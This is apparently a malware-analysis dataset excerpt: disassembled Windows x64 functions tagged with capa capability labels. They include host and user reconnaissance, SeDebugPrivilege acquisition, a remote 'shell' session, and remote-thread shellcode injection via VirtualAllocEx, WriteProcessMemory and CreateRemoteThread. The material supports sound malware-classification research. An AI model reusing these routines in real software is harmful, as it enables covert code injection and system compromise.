joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005f40
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov ecx, 1
mov edx, 0x20
call fcn.14002c370
mov qword [rsi + 0x38], rax
test rax, rax
je 0x140006023
mov rbx, rax
mov ecx, 1
mov edx, 0x20
call fcn.14002c370
test rax, rax
je 0x140006023
mov rdi, rax
mov qword [rbx + 0x18], rax
mov rcx, qword [rsi + 0x58]
lea rdx, str.session
call fcn.140020900
test rax, rax
je 0x140006023
lea rdx, str.shell
mov rcx, rax
call fcn.140020900
test rax, rax
je 0x140006023
mov r8, qword [rax + 0x20]
mov rcx, rsi
xor edx, edx
mov r9, rdi
call fcn.1400072d0
test al, al
je 0x140006023
mov ecx, 1
mov edx, 8
call fcn.14002c370
mov rcx, qword [rsi + 0x38]
mov qword [rcx + 0x10], rax
mov rax, qword [rsi + 0x38]
cmp qword [rax + 0x10], 0
je 0x140006023
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x1400079a0]
xor ecx, ecx
xor edx, edx
mov r9, rsi
call fcn.14002a188
mov rcx, qword [rsi + 0x38]
mov qword [rcx], rax
mov rcx, qword [rsi + 0x38]
mov al, 1
cmp qword [rcx], 0
jne 0x14000602d
mov rcx, rsi
call fcn.140007b40
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140006500
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rbx, rdx
mov rdi, rcx
xor esi, esi
xor edx, edx
mov r8d, 2
call fcn.14002c864
test eax, eax
jne 0x140006615
mov rcx, rdi
call fcn.14002ca74
mov ebp, eax
xor esi, esi
mov rcx, rdi
xor edx, edx
xor r8d, r8d
call fcn.14002c864
test eax, eax
jne 0x140006615
movsxd rsi, ebp
mov edx, 1
mov rcx, rsi
call fcn.14002c370
mov r15, rax
mov edx, 1
mov rcx, rax
mov r8, rsi
mov r9, rdi
call fcn.14002c5d0
test rax, rax
je 0x140006606
mov rcx, rsi
mov rdx, r15
call fcn.140003e30
test rax, rax
je 0x140006606
mov r14, rax
call fcn.140020ca0
test rax, rax
je 0x1400065fe
mov rsi, rax
mov rcx, rbx
call fcn.140020c10
test rax, rax
je 0x1400065f6
lea rdx, [0x14004a34c]
mov rcx, rsi
mov r8, rax
call fcn.140020ab0
test eax, eax
je 0x1400065f6
mov rcx, r14
call fcn.140020c10
test rax, rax
je 0x1400065f6
lea rdx, str.content
mov rcx, rsi
mov r8, rax
call fcn.140020ab0
test eax, eax
je 0x1400065f6
mov rcx, r14
call fcn.14002c850
test r15, r15
je 0x140006615
mov rcx, r15
call fcn.14002c850
jmp 0x140006615
mov rcx, rsi
call fcn.14001f3e0
mov rcx, r14
call fcn.14002c850
test r15, r15
je 0x140006613
mov rcx, r15
call fcn.14002c850
xor esi, esi
mov rax, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1400066d0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rcx, qword [rdx + 0x18]
call fcn.14001ff80
test rax, rax
je 0x14000689b
mov rbx, rax
lea rdx, str.destination
mov rcx, rax
call fcn.140020900
mov esi, 0xffffffff
test rax, rax
je 0x1400068f5
mov r13, rax
lea rdx, str.files
mov rcx, rbx
call fcn.140020900
test rax, rax
je 0x1400068f5
mov rdi, qword [rax + 0x10]
test rdi, rdi
je 0x1400068a2
mov qword [rsp + 0x30], rbx
lea rbx, str._s_c_s
jmp 0x140006777
mov rcx, r12
call fcn.14002c850
mov rbx, rbp
mov rdi, qword [rdi]
test rdi, rdi
je 0x1400068b2
mov rcx, rdi
lea rdx, str.content
call fcn.140020900
mov rsi, rax
mov rcx, rdi
lea rdx, [0x14004a34c]
call fcn.140020900
test rsi, rsi
je 0x1400068a6
mov rbp, rax
test rax, rax
je 0x1400068a6
mov qword [rsp + 0x38], 0
mov rcx, qword [rsi + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140003ed0
test rax, rax
je 0x14000676b
mov r12, rax
mov rax, qword [rbp + 0x20]
mov r9, qword [r13 + 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5c
xor ecx, ecx
xor edx, edx
mov r8, rbx
call fcn.140006640
add eax, 1
movsxd rsi, eax
mov edx, 1
mov rcx, rsi
call fcn.14002c370
test rax, rax
je 0x1400068bb
mov r14, rax
mov rax, qword [rbp + 0x20]
mov r9, qword [r13 + 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5c
mov rcx, r14
mov rdx, rsi
mov rbp, rbx
mov r8, rbx
call fcn.140006640
mov rcx, r14
call fcn.140006ca0
mov r15, rax
mov rcx, rax
call fcn.140006a20
test al, al
je 0x1400068c7
mov rcx, r14
lea rdx, [0x14004a411]
call fcn.14002c460
test rax, rax
je 0x1400068ce
mov rsi, rax
mov r8, qword [rsp + 0x38]
mov edx, 1
mov rcx, r12
mov r9, rax
call fcn.14002cf70
mov rcx, rsi
call fcn.14002c378
mov rcx, r14
call fcn.14002c850
test r15, r15
je 0x140006760
mov rcx, r15
call fcn.14002c850
jmp 0x140006760
mov esi, 0xffffffff
jmp 0x1400068fd
xor esi, esi
jmp 0x1400068f5
mov esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
jmp 0x1400068f5
xor esi, esi
mov rbx, qword [rsp + 0x30]
jmp 0x1400068f5
mov esi, 0xc0000008
mov rbx, qword [rsp + 0x30]
jmp 0x1400068ed
mov esi, 0xc0000009
jmp 0x1400068d3
mov esi, 0xc000000a
mov rbx, qword [rsp + 0x30]
mov rcx, r14
call fcn.14002c850
test r15, r15
je 0x1400068ed
mov rcx, r15
call fcn.14002c850
mov rcx, r12
call fcn.14002c850
mov rcx, rbx
call fcn.14001f3e0
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140021820
mov eax, esi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140006a20
Capabilities:
Create directory

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
test rcx, rcx
je 0x140006a8d
mov rsi, rcx
cmp byte [rcx], 0
je 0x140006a8d
mov rcx, rsi
call fcn.14002d8b0
test rax, rax
je 0x140006a8d
mov r14, rax
lea rbp, [rax + 1]
mov rcx, rbp
call fcn.14002d244
mov rbx, rax
mov rcx, rax
mov rdx, rsi
mov r8, rbp
call fcn.140022930
mov byte [rbx + r14], 0
lea rcx, [r14 - 1]
mov eax, r14d
and eax, 3
cmp rcx, 3
jae 0x140006aa6
mov esi, 1
xor ecx, ecx
mov ebp, 1
jmp 0x140006b0c
xor ebp, ebp
and bpl, 1
mov eax, ebp
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdx, r14
and rdx, 0xfffffffffffffffc
mov esi, 1
xor ecx, ecx
mov ebp, 1
nop dword [rax]
lea rdi, [rbp + 1]
cmp byte [rbx + rcx], 0x5c
cmove rsi, rdi
cmove rbp, rdi
lea rdi, [rbp + 1]
cmp byte [rbx + rcx + 1], 0x5c
cmove rsi, rdi
cmove rbp, rdi
lea rdi, [rbp + 1]
cmp byte [rbx + rcx + 2], 0x5c
cmove rsi, rdi
cmove rbp, rdi
lea rdi, [rbp + 1]
cmp byte [rbx + rcx + 3], 0x5c
cmove rsi, rdi
cmove rbp, rdi
add rcx, 4
cmp rdx, rcx
jne 0x140006ac0
test rax, rax
je 0x140006b39
add rcx, rbx
xor edx, edx
nop word cs:[rax + rax]
lea rdi, [rbp + 1]
cmp byte [rcx + rdx], 0x5c
cmove rsi, rdi
cmove rbp, rdi
add rdx, 1
cmp rax, rdx
jne 0x140006b20
lea rcx, [rbp*8]
call fcn.14002d244
mov r15, rax
mov qword [rax], rbx
cmp rbp, 2
jb 0x140006b86
mov eax, 1
mov ecx, 1
nop dword [rax]
cmp byte [rbx + rax - 1], 0x5c
jne 0x140006b78
lea rdx, [rbx + rax]
mov byte [rbx + rax - 1], 0
mov qword [r15 + rcx*8], rdx
add rcx, 1
cmp rax, r14
jae 0x140006b86
add rax, 1
cmp rcx, rbp
jb 0x140006b60
test rsi, rsi
je 0x140006bcf
call fcn.140006d10
mov r12, rax
mov rbx, qword [r15]
mov rcx, rbx
mov edx, 0x3a
call fcn.140023170
test rax, rax
je 0x140006bde
mov rcx, rbx
call fcn.14002d8b0
mov rcx, r12
mov rdx, rbx
mov r8, rax
call fcn.140006d80
mov rcx, r12
mov dl, 0x5c
call fcn.140006e40
mov edi, 1
jmp 0x140006be0
mov rcx, r15
call fcn.14002c850
xor ebp, ebp
jmp 0x140006a8f
xor edi, edi
cmp rdi, rsi
mov qword [rsp + 0x20], rbx
jae 0x140006c7b
mov r13, rsi
neg r13
add rdi, 1
mov bpl, 1
mov r14, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x140006c29
cmp rdi, rsi
setb bpl
lea rax, [rdi + r13]
add rax, 1
add rdi, 1
cmp rax, 1
je 0x140006c7d
mov rbx, qword [r15 + rdi*8 - 8]
test rbx, rbx
je 0x140006c10
cmp byte [rbx], 0
je 0x140006c10
mov rcx, rbx
call fcn.14002d8b0
mov rcx, r12
mov rdx, rbx
mov r8, rax
call fcn.140006d80
mov rcx, r12
mov dl, 0x5c
call fcn.140006e40
mov rcx, r12
call fcn.140006ec0
mov rcx, rax
xor edx, edx
call r14
test eax, eax
jne 0x140006c10
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140006c10
jmp 0x140006c7d
xor ebp, ebp
xor bpl, 1
mov rcx, qword [rsp + 0x20]
call fcn.14002c850
mov rcx, r15
call fcn.14002c850
mov rcx, r12
call fcn.140006d50
jmp 0x140006a8f
Function at 0x1400070b0
Capabilities:
Get common file path
Get disk information
Get hostname
Get session user name

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x168
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x4c], 0x10
mov ecx, 0x10
mov edx, 1
call fcn.14002c370
xor ebp, ebp
test rax, rax
je 0x1400072a0
mov rsi, rax
lea rdx, [rsp + 0x4c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x14000726a
mov dword [rsp + 0x4c], 0x101
mov ecx, 0x101
mov edx, 1
call fcn.14002c370
test rax, rax
je 0x14000726a
mov rdi, rax
lea rdx, [rsp + 0x4c]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x14000726f
mov dword [rsp + 0x4c], 0x104
mov dword [rsp + 0x48], 0
mov ecx, 0x104
mov edx, 1
call fcn.14002c370
test rax, rax
je 0x14000726f
mov rbx, rax
mov rcx, rax
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x140007271
xor r14d, r14d
lea rbp, [rsp + 0x50]
mov r8d, 0x105
mov rcx, rbp
xor edx, edx
call fcn.140022fe0
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rbp
xor r8d, r8d
xor r9d, r9d
call fcn.14002be18
mov rcx, rbp
call fcn.14002d8b0
mov word [rsp + rax + 0x50], 0x5c
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea r9, [rsp + 0x48]
mov rcx, rbp
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x140007274
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
lea r8, str._s__s__x
xor r14d, r14d
xor ecx, ecx
xor edx, edx
mov r9, rsi
call fcn.140006640
mov dword [rsp + 0x4c], eax
mov ebp, eax
mov edx, 1
mov rcx, rbp
call fcn.14002c370
test rax, rax
je 0x140007274
mov r15, rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
lea r8, str._s__s__x
mov rcx, r15
mov rdx, rbp
mov r9, rsi
call fcn.140006640
mov ecx, dword [rsp + 0x4c]
mov rdx, r15
call fcn.140003fa0
mov ebp, eax
mov r14, r15
jmp 0x140007276
mov rcx, rsi
jmp 0x14000729b
xor ebx, ebx
xor r14d, r14d
xor ebp, ebp
mov rcx, rsi
call fcn.14002c850
mov rcx, rdi
call fcn.14002c850
test rbx, rbx
je 0x140007293
mov rcx, rbx
call fcn.14002c850
test r14, r14
je 0x1400072a0
mov rcx, r14
call fcn.14002c850
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140021820
mov eax, ebp
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140007b40
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rdi, qword [rcx + 0x38]
test rdi, rdi
je 0x140007c62
mov rsi, rcx
mov dword [rsp + 0x24], 0
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_CancelSynchronousIo]
mov rax, qword [rsi + 0x38]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 8]
lea rdx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rax, qword [rsi + 0x38]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x24], 0x103
jne 0x140007be1
mov rax, qword [rsi + 0x38]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsi + 0x38]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rax, qword [rsi + 0x38]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x18]
call rbx
mov rax, qword [rsi + 0x38]
mov rax, qword [rax + 0x18]
mov qword [rax + 8], 0
mov rax, qword [rsi + 0x38]
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x140007c13
call fcn.14002c850
mov rax, qword [rsi + 0x38]
mov qword [rax + 0x10], 0
mov rax, qword [rsi + 0x38]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x140007c31
call fcn.14002c850
mov rax, qword [rsi + 0x38]
mov qword [rax + 0x18], 0
mov rax, qword [rsi + 0x38]
mov rcx, qword [rax]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rsi + 0x38]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x140007c62
call fcn.14002c850
mov qword [rsi + 0x38], 0
test rdi, rdi
setne bl
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140021820
mov eax, ebx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
Function at 0x140007c80
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rbx, rdx
mov r14, rcx
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x2c], 0
mov rcx, rdx
call fcn.14002d8b0
mov rsi, rax
lea rcx, [rax + 1]
mov edx, 1
call fcn.14002c370
test rax, rax
je 0x140007d65
mov rdi, rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call fcn.140022930
mov rcx, rdi
call fcn.14002d8b0
mov rcx, qword [r14 + 0x38]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x2c]
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007d5d
mov rcx, rdi
call fcn.14002c850
mov dword [rsp + 0x28], 0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [r14 + 0x38]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 8]
lea rdx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov bl, 1
cmp dword [rsp + 0x28], 0x103
je 0x140007d67
mov rax, qword [r14 + 0x38]
mov byte [rax + 8], 1
mov rcx, r14
call fcn.140007b40
test al, al
jne 0x140007d67
mov rcx, rdi
call fcn.14002c850
xor ebx, ebx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140021820
mov eax, ebx
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140008bb0
Capabilities:
Get hostname

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x24], 0x10
mov ecx, 0x10
mov edx, 1
call fcn.14002c370
test rax, rax
je 0x140008c3c
mov rdi, rax
lea rdx, [rsp + 0x24]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x140008c34
mov rcx, rdi
call fcn.140020c10
test rax, rax
je 0x140008c34
mov rbx, rax
lea rdx, str.computer_name
mov rcx, rsi
mov r8, rax
call fcn.140020ab0
mov esi, eax
mov rcx, rdi
call fcn.14002c850
test esi, esi
jne 0x140008c3c
mov rcx, rbx
call fcn.14001f3e0
jmp 0x140008c3c
mov rcx, rdi
call fcn.14002c850
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140021820
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140008c60
Capabilities:
Get session user name

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x101
mov ecx, 0x101
mov edx, 1
call fcn.14002c370
test rax, rax
je 0x140008ced
mov rdi, rax
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x140008ce5
mov rcx, rdi
call fcn.140020c10
test rax, rax
je 0x140008ce5
mov rbx, rax
lea rdx, str.username
mov rcx, rsi
mov r8, rax
call fcn.140020ab0
mov esi, eax
mov rcx, rdi
call fcn.14002c850
test esi, esi
jne 0x140008ced
mov rcx, rbx
call fcn.14001f3e0
jmp 0x140008ced
mov rcx, rdi
call fcn.14002c850
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140021820
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x1400091f0
Capabilities:
Get domain controller name

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rdi, rcx
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor esi, esi
lea r8, [rsp + 0x20]
xor ecx, ecx
xor edx, edx
call sub.NETAPI32.dll_NetGetDCName
test eax, eax
je 0x140009258
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x140009235
call sub.NETAPI32.dll_NetApiBufferFree
test rsi, rsi
je 0x140009242
mov rcx, rsi
call fcn.14001f3e0
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140021820
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x20]
call fcn.140007020
test rax, rax
je 0x1400092a4
mov rbx, rax
mov rcx, rax
call fcn.140020c10
mov rsi, rax
test rax, rax
je 0x1400092ab
lea rdx, str.domain
mov rcx, rdi
mov r8, rsi
call fcn.140020ab0
test eax, eax
je 0x1400092ab
mov rcx, qword [rsp + 0x20]
call sub.NETAPI32.dll_NetApiBufferFree
mov rcx, rbx
call fcn.14002c850
jmp 0x140009242
xor esi, esi
jmp 0x140009226
mov rcx, rbx
call fcn.14002c850
jmp 0x140009226
Function at 0x140009770
Capabilities:
Get token privileges

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov r13, rcx
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov rcx, rax
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000998d
mov rcx, qword [rsp + 0x48]
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
mov edx, 3
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000998d
mov rbx, qword [rsp + 0x40]
mov edx, 1
mov rcx, rbx
call fcn.14002c370
test rax, rax
je 0x14000998d
mov rsi, rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rdi
mov edx, 3
mov r8, rax
mov r9d, ebx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140009966
call fcn.140020ce0
test rax, rax
je 0x140009966
mov r12, rax
cmp dword [rsi], 0
je 0x140009944
mov rdi, rsi
add rdi, 4
xor ebp, ebp
nop dword [rax + rax]
mov rax, qword [rdi]
mov qword [rsp + 0x30], rax
mov r15d, dword [rdi + 8]
mov dword [rsp + 0x38], r15d
mov r14d, r15d
and r14d, 4
mov eax, 0x2d
cmovne r14d, eax
test r15b, 2
mov eax, 0x2b
cmovne r14d, eax
mov qword [rsp + 0x28], 0
xor ecx, ecx
lea rdx, [rsp + 0x30]
xor r8d, r8d
lea r9, [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameA]
mov rcx, qword [rsp + 0x28]
add rcx, 2
mov edx, 1
call fcn.14002c370
mov rbx, rax
test rax, rax
je 0x140009970
test r15b, 6
je 0x1400098f4
lea r8, [rbx + 1]
xor ecx, ecx
lea rdx, [rsp + 0x30]
lea r9, [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameA]
test eax, eax
je 0x140009970
mov byte [rbx], r14b
jmp 0x14000990d
xor ecx, ecx
lea rdx, [rsp + 0x30]
mov r8, rbx
lea r9, [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameA]
test eax, eax
je 0x140009970
mov rcx, rbx
call fcn.140020c10
test rax, rax
je 0x140009970
mov rcx, r12
mov rdx, rax
call fcn.140020a60
test eax, eax
je 0x140009970
mov rcx, rbx
call fcn.14002c850
add rbp, 1
mov eax, dword [rsi]
add rdi, 0xc
cmp rbp, rax
jb 0x140009860
lea rdx, str.privileges
mov rcx, r13
mov r8, r12
call fcn.140020ab0
mov edi, eax
mov rcx, rsi
call fcn.14002c850
test edi, edi
jne 0x14000998d
jmp 0x140009985
mov rcx, rsi
call fcn.14002c850
jmp 0x14000998d
mov rcx, rsi
call fcn.14002c850
test rbx, rbx
je 0x140009985
mov rcx, rbx
call fcn.14002c850
mov rcx, r12
call fcn.14001f3e0
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140021820
nop
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000a070
Capabilities:
Connect pipe

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rbx, rcx
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
xor esi, esi
xor ecx, ecx
mov edx, 1
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rdi, rax
mov qword [rsp + 0x38], rax
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x14000a0e0
mov rcx, rdi
mov edx, 0x4000
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
sete sil
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140021820
mov eax, esi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret

Function at 0x14000a100
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
mov rax, rdx
mov rdx, qword [0x140051088]
xor rdx, rsp
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x34], 0
mov rcx, qword [rcx]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov rdx, r8
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140021820
mov eax, ebx
add rsp, 0x40
pop rbx
ret

Function at 0x14000a160
Capabilities:
Read file on windows

Disassembly:
push rsi
sub rsp, 0x40
mov rax, rdx
mov rdx, qword [0x140051088]
xor rdx, rsp
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x34], 0
mov rcx, qword [rcx]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov rdx, r8
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor esi, esi
cmp eax, 1
sbb esi, esi
or esi, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140021820
mov eax, esi
add rsp, 0x40
pop rsi
ret
Function at 0x14000b2c0
Capabilities:
Acquire debug privileges

Disassembly:
push rsi
sub rsp, 0x60
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x38], 0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov rcx, rax
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000b368
lea r8, [rsp + 0x44]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14000b35d
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov rcx, qword [rsp + 0x38]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea r8, [rsp + 0x40]
xor edx, edx
mov r9d, 0x10
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne sil
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000b36a
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140021820
mov eax, esi
add rsp, 0x60
pop rsi
ret

Function at 0x14000b380
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rbx, r8
mov r14, rdx
mov r8d, ecx
mov rax, qword [0x140051088]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov ecx, 0x43a
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x14000b44c
mov rdi, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r8, r14
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x14000b453
mov rsi, rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
mov r9, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000b45a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor ebx, ebx
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14000b461
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rax
call rsi
mov rcx, rdi
call rsi
jmp 0x14000b47b
mov ebx, 0xc0001001
jmp 0x14000b47b
mov ebx, 0xc0001002
jmp 0x14000b47b
mov ebx, 0xc0001003
jmp 0x14000b466
mov ebx, 0xc0001004
mov rcx, rdi
mov rdx, rsi
mov r8, r14
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140021820
mov eax, ebx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret